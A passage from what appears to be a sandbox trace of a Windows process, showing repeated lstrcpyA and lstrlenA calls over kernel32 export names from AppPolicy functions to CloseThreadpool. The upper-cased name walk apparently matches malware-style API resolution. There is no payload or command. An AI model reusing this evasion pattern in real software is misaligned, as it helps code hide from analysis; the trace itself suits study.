(lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0139.278] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0139.278] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0139.278] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0139.278] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0139.278] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0139.278] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0139.278] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0139.278] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0139.278] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0139.278] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0139.278] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0139.279] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0139.279] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0139.279] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0139.279] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0139.279] lstrlenA (lpString="BACKUPREAD") returned 10 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0139.279] lstrlenA (lpString="BACKUPSEEK") returned 10 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0139.279] lstrlenA (lpString="BACKUPWRITE") returned 11 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0139.279] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0139.279] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0139.279] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0139.279] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0139.279] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0139.279] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0139.279] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0139.279] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0139.279] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0139.279] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0139.280] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0139.280] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0139.280] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0139.280] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0139.280] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0139.280] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0139.280] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0139.280] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0139.280] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0139.280] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0139.280] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0139.280] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0139.280] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0139.280] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0139.280] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0139.280] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0139.280] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0139.280] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0139.280] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0139.280] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0139.281] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0139.281] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0139.281] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0139.281] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0139.281] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0139.281] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0139.281] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0139.281] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0139.281] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0139.281] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0139.281] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0139.281] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0139.281] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0139.281] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0139.281] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0139.281] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0139.281] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0139.281] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0139.281] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0139.281] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0139.281] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0139.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0139.281] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0139.282] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0139.282] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0139.282] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0139.282] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0139.282] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0139.282] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0139.282] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0139.282] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0139.282] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0139.282] lstrlenA (lpString="BEEP") returned 4 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0139.282] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0139.282] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0139.282] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0139.282] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0139.282] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0139.282] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0139.282] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0139.282] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0139.282] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0139.282] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0139.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0139.283] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0139.283] lstrlenA (lpString="CANCELIO") returned 8 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0139.283] lstrlenA (lpString="CANCELIOEX") returned 10 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0139.283] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0139.283] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0139.283] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0139.283] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0139.283] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0139.283] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0139.283] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0139.283] lstrlenA (lpString="CHECKELEVATION") returned 14 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0139.283] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0139.283] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0139.283] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0139.283] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0139.283] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0139.283] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0139.283] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0139.283] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0139.283] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0139.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0139.284] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0139.284] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0139.284] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0139.284] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0139.284] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0139.284] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0139.284] lstrlenA (lpString="CLOSESTATE") returned 10 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0139.284] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, 